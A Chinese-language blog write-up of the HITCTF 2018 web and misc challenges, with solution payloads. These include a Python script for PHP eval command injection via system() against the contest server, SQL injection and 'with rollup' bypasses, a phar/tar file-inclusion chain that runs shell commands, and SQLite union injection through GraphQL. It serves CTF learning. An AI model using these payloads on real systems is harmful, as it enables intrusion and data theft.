HITCTF2018 writeup

image.png

哈工大HITCTF 个人赛第13名,奋斗了两天的结果,粘图纪念一下.

PHPreading

扫描目录找到index.php.bak 备份文件

<?php 
    eval(base64_decode('JGZsYWc9JF9HRVRbJ2FzZGZnanh6a2FsbGdqODg1MiddO2lmKCRmbGFnPT0nSDFUY3RGMjAxOEV6Q1RGJyl7ZGllKCRmbGFnKTt9ZGllKCdlbW1tbScpOw=='))
?>

解码得到

$flag=$_GET['asdfgjxzkallgj8852'];if($flag=='H1TctF2018EzCTF'){die($flag);}die('emmmm');

传入正确的参数即可获得flag

BabyEval


<!--
$str=@(string)$_GET['str'];
blackListFilter($black_list, $str);
eval('$str="'.addslashes($str).'";');
-->

手工试了一下发现blackListFilter函数过滤了单引号和双引号,还用了addslashes函数过滤, 基本杜绝了拼接注入,那么如何来做呢? 这里发现传入的参数用了双引号来拼接,这里利用双引号解析变量的特点来达到命令执行的效果,实际应用是在一些网站中配置文件中的变量有用双引号包围的, 这样如果后台可以修改配置文件,那么就可以写入变量解析达到命令执行的效果, 具体参考: http://www.blogsir.com.cn/safe/423.html

我们来试一下:

image.png

如何来执行命令呢? 我的做法是这样

import requests

url = 'http://120.24.215.80:10013/?str=${system(base64_decode(%s))}'
cmd = "cat /162920976d9c04ac69e2f4392a8cffbf_flag.txt"
if len(cmd) % 3 != 0:
    cmd += ' '*(3-len(cmd)%3)

print cmd.encode('base64')
target = url%(cmd.encode('base64'))
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}
html = requests.get(target,headers=headers)
print html.content

利用了base64_decode 不需要引号包围的tricks 来解题,但这里要注意的是不能出现'='字符,否则base64解密失败,因此需要命令必须是3个字节的倍数的长度大小.

还有就是利用反引号来执行命令

?str=${var_dump(`ls`)}

这样也不需要用到单引号.

BabyInjection

<?php
error_reporting(0);

if (!isset($_POST['username']) || !isset($_POST['passwd'])) {
    echo 'Login and get the flag';
    echo '<form action="" method="post">'."<br/>";
    echo '<input name="username" type="text" placeholder="username"/>'."<br/>";
    echo '<input name="passwd" type="text" placeholder="passwd"/>'."<br/>";
    echo '<input type="submit" ></input>'."<br/>";
    echo '</form>'."<br/>";
    die;
}

$flag = '';
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)|like|rlike|regexp|limit|or";

$username = $_POST['username'];
$passwd = $_POST['passwd'];
if (preg_match("/".$filter."/is",$username)==1){
    die("Hacker hacker hacker~");
}
if (preg_match("/".$filter."/is",$passwd)==1){
    die("Hacker hacker hacker~");
}

$conn = mysqli_connect();

$query = "SELECT * FROM users WHERE username='{$username}';";
echo $query."<br>";
$query = mysqli_query($conn, $query);
if (mysqli_num_rows($query) == 1){
    $result = mysqli_fetch_array($query);
    if ($result['passwd'] == $passwd){
        die('you did it and this is your flag: '.$flag);
    }
    else{
        die('Wrong password');
    }
}
else{
    die('Wrong username');
}

这题直接给出了源码, 给出了过滤规则,过滤的还比较正常,有点麻烦的可能是这条mysqli_num_rows($query) == 1 , 限制了查询数据只能是一条,但黑名单里面又过滤了limit, 一开始还有点懵逼, 仔细思考了发现可以增加查询限制条件,比如'-'' group by id having id=1# , 或者'-'' && id=1# 这样子,返回结果都是wrong password , 然后就是正常盲注出密码即可.payload: ' || id=1 && passwd>0x{0}#

一叶飘零大佬提供了另外一种解题思路: http://skysec.top/2018/02/01/HITCTF-WEB%E9%A2%98%E8%A7%A3/ , 我们知道如果这里没有限制union,select 我们是可以通过union 构造出一条记录union select md5('1')# , 但这里显然不行,大佬给出的方法是利用with rollup 构造出一个passwd为null的新纪录,with rollup 本来是添加一条统计的记录,group by分组的字段为null,其他字段和上一条记录一样:

mysql> select * from user where username=''=0 group by password with rollup;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  3 | 61d      | 61d      |
|  1 | admin    | admin    |
|  2 | r00t     | r00t     |
|  2 | r00t     | NULL     |
+----+----------+----------+
4 rows in set (0.00 sec)

那么如何选出password为null的那条记录呢?, 利用的是password <=> NULL, 因为 null =null返回0,null <=>null 返回1

mysql> select * from user where username=''=0 group by password with rollup having password<=>NULL;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  2 | r00t     | NULL     |
+----+----------+----------+
1 row in set (0.00 sec)

总结<=>和=的关系

相同点:可以对两个值进行比较,’A'<=>’B' = 0和’A'<=>’A‘ = 1;

不同点:NULL的值是没有任何意义的,当比较重某一方为null时候,"="号或者"!="运算符不能把NULL作为有效的结果,此时应该使用<=>,'a' <=> NULL 得0 NULL<=> NULL 得出 1。mysql上几乎所有的操作符和函数都是这样工作的,因为和NULL比较基本上都没有意义。

最后的payload: '-'' group by passwd with rollup having passwd <=> NULL# , 学习了.

小电影

/upload , /download?name=xxx.avi .We will help you convert video with ffmpeg. Maybe you will find something different
Don't attack the platform ,it's simple .
Pay more attention to the video file and you will see what you want .

出过很多次的ffmpeg任意文件读取漏洞,一开始审题不仔细,没看到首页源代码还有一行注释\<!\-- flag is in /flag.txt -->, 导致在找了很久的flag.

BabyWrite

一道比较很有意思的题,首先是文件包含读取到关键源码:
index.php:

<?php
if(isset($_GET['page'])){
    $file = $_GET['page'].'.php'; 
    include($file); 
}else{
    header("Location: /?page=login");
    die();
}
?>

login.php

<?php
    require_once('config.php');
    if(isset($_POST['username']) && isset($_POST['password'])){
        $username = $_POST['username'];
        $password = $_POST['password'];
        if ($username === "admin" && sha1(md5($password)) === $admin_hash){
            echo '<script>alert("Login seccess!");</script>';
        }else{
            if (isset($_GET['debug'])){
                if($_GET['debug'] === 'hitctf'){     
                    $logfile = "log/".$username.".log";
                    $content = $username." => ".$password;
                    file_put_contents($logfile, $content);

                }else{
                    echo '<script>alert("Login failed!");</script>';
                }
            }else{
                echo '<script>alert("Login failed!");</script>';
            }
        }
    }else{
        echo '<script>alert("Please input username and password!");</script>';
    }
?>

之前xnuca 出过一道类似的题,唯一不同的是之前写入内容为: $content = $username." \n ".$password; , 但换成=> 后难度加大很多,之前的做法可以参考航哥的一篇博客: https://www.jianshu.com/p/fd9f38753078, 后缀限制为php的文件包含一般是利用phar,zip 这些伪协议的突破的.

这里有一个坑是文件名无法写入%00, 之前如果是\n, 文件名只需要是`%50%4b%03%04` 即可,后面一位就是%0a, 一开始是参考的航哥的一篇文章https://www.jianshu.com/p/03e612b9e379, 发现坑以后就立马换了一种思路,想到了用tar包来解(phar协议可以解zip,也可以解tar包),我们构造一个来看看

lj@lj /d/C/H/web> cat tt.tar|xxd 
00000000: 6c6a 203d 3e20 2e70 6870 0000 0000 0000  lj => .php......
00000010: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0000 3030 3030 3636 3400 3030 3031  ....0000664.0001
00000070: 3735 3000 3030 3031 3735 3000 3030 3030  750.0001750.0000
00000080: 3030 3030 3033 3100 3133 3233 3530 3132  0000031.13235012
00000090: 3733 3200 3031 3032 3535 0020 3000 0000  732.010255. 0...

可以看到,tar包是将文件名放在开头的,这样我们只需要需要文件名为lj即可,后面的部分都可以作为password的内容来写入, 最后用phar协议解tar包即可.
最后的payload为:

http://120.24.215.80:10012/?page=phar://log/lj.log/lj%20=%3E%20&_=system(%27cat%20/d124abbe4cb6aa1621a8ca9519c0f5bf_flag.txt%27);

BabyQuery

最后这题找到注入点的时候已经快结束了, 对sqlite数据库的注入也不是很熟,可惜了.

首先是先查看源码,发现一段js

    $(document).ready(function(){
            var query_data = {'query': '{ getscorebyid(id: "GE======"){ id name score } }'}
            var btn = $('#query');
            btn.click(function(){
                $.post('/graphql', query_data, function(result){
                    alert(result);
                })
            });
        })

看到graphql明白是GraphQL数据库,这里之前比赛出现过几次,因此找到一个paylaod可以查看schema表

query=
query IntrospectionQuery {
    __schema {
      queryType { name }
      mutationType { name }
      subscriptionType { name }
      types {
        ...FullType
      }
      directives {
        name
        description
        args {
          ...InputValue
        }
        onOperation
        onFragment
        onField
      }
    }
  }

  fragment FullType on __Type {
    kind
    name
    description
    fields(includeDeprecated: true) {
      name
      description
      args {
        ...InputValue
      }
      type {
        ...TypeRef
      }
      isDeprecated
      deprecationReason
    }
    inputFields {
      ...InputValue
    }
    interfaces {
      ...TypeRef
    }
    enumValues(includeDeprecated: true) {
      name
      description
      isDeprecated
      deprecationReason
    }
    possibleTypes {
      ...TypeRef
    }
  }

  fragment InputValue on __InputValue {
    name
    description
    type { ...TypeRef }
    defaultValue
  }

  fragment TypeRef on __Type {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
        }
      }
    }
  }

查看schema发现Query 操作只有两个field: getscorebyyourname和getscorebyid 参数分别是name和id, 手工测试了一下发现id参数经过base32编码且仅能是1位数, 再试了下name参数发现了存在注入:

image.png

测试了下发现version(),user()之类的函数都报错了, 一开始有点懵逼,后来经过管理员提醒是sqlite数据库,之前一直没时间好好研究Nosql数据库的注入,大亏,于是自己百度了下Sqlite3 的注入语句, sqlite3 爆表名都是用sqlite_master这个内置表(相当于mysql里面的information_schema表, 于是整理的payload 如下:

>>> base64.b32encode("' union select (select group_concat(name,0x3a) from sqlite_master) /*");
'E4QHK3TJN5XCA43FNRSWG5BAFBZWK3DFMN2CAZ3SN52XAX3DN5XGGYLUFBXGC3LFFQYHQM3BFEQGM4TPNUQHG4LMNF2GKX3NMFZXIZLSFEQC6KQ='

>>> base64.b32encode("' union select (select sql from sqlite_master where name='Secr3t_fl4g') /*");
'E4QHK3TJN5XCA43FNRSWG5BAFBZWK3DFMN2CA43RNQQGM4TPNUQHG4LMNF2GKX3NMFZXIZLSEB3WQZLSMUQG4YLNMU6SOU3FMNZDG5C7MZWDIZZHFEQC6KQ='

>>> base64.b32encode("' union select (select flag from Secr3t_fl4g) /*");
'E4QHK3TJN5XCA43FNRSWG5BAFBZWK3DFMN2CAZTMMFTSAZTSN5WSAU3FMNZDG5C7MZWDIZZJEAXSU==='
image.png

键盘流量分析

Misc 说一道有意思的usb流量分析题,首先是在安全客上面找到一篇分析usb流量的文章: https://www.anquanke.com/post/id/85218`

usb 流量分析又分为键盘流量分析和鼠标流量分析,键盘流量一般是8个字节,所以我们先把八个字节的流量分析出来看:

00:00:0b:00:00:00:00:00 h
00:00:0b:0c:00:00:00:00
00:00:0c:00:00:00:00:00i
00:00:0c:17:00:00:00:00
00:00:17:00:00:00:00:00t
00:00:06:00:00:00:00:00c
00:00:17:00:00:00:00:00t
00:00:09:00:00:00:00:00f
02:00:00:00:00:00:00:00
02:00:2f:00:00:00:00:00{
02:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:0e:00:00:00:00:00K
02:00:00:00:00:00:00:00
00:00:08:00:00:00:00:00E
00:00:1c:00:00:00:00:00Y
02:00:00:00:00:00:00:00
02:00:05:00:00:00:00:00B
02:00:00:00:00:00:00:00
00:00:12:00:00:00:00:00o
00:00:04:00:00:00:00:00a
00:00:15:00:00:00:00:00r
00:00:07:00:00:00:00:00d
02:00:00:00:00:00:00:00
02:00:2d:00:00:00:00:00_
02:00:00:00:00:00:00:00
00:00:12:00:00:00:00:00o
00:00:15:00:00:00:00:00r
00:00:1d:00:00:00:00:00z
02:00:00:00:00:00:00:00
02:00:30:00:00:00:00:00}
02:00:00:00:00:00:00:00
01:00:00:00:00:00:00:00
01:00:06:00:00:00:00:00

可以看到,键盘流量的有效数据是在第三个字节,每个值的具体意义可以参考官方usb流量的定义: http://www.usb.org/developers/hidpage/Hut1_12v2.pdf

第一个字节00代表小写,02代表大写.

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,402评论 6 499
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,377评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,483评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,165评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,176评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,146评论 1 297
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,032评论 3 417
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,896评论 0 274
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,311评论 1 310
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,536评论 2 332
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,696评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,413评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,008评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,659评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,815评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,698评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,592评论 2 353

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,651评论 18 139
  • linux资料总章2.1 1.0写的不好抱歉 但是2.0已经改了很多 但是错误还是无法避免 以后资料会慢慢更新 大...
    数据革命阅读 12,159评论 2 33
  • Ubuntu的发音 Ubuntu,源于非洲祖鲁人和科萨人的语言,发作 oo-boon-too 的音。了解发音是有意...
    萤火虫de梦阅读 99,256评论 9 467
  • PHP reading 上扫描器扫出index.php.bak 下载"源码" 里面的内容base64decode之...
    Pr0ph3t阅读 2,040评论 8 1
  • 走了一天,拍了一天,吃了一天,本来是拖着疲累的身子回到酒店,奔向大床,戴起耳机,听歌的愉快回血时间。 兰鹅,耳机丢...
    陈真真阅读 145评论 0 0